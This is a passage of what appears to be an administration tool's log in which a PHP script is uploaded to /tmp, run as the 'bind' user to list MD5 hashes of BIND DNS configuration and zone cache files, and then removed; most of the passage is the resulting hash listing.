					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:25:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp636545; rm /tmp/pkp636545'

2026-04-28 10:25:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:25:35: Establishing a connection
2026-04-28 10:25:35: 

PUT: /tmp/pkp932277

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:25:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp932277; rm /tmp/pkp932277'

2026-04-28 10:25:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
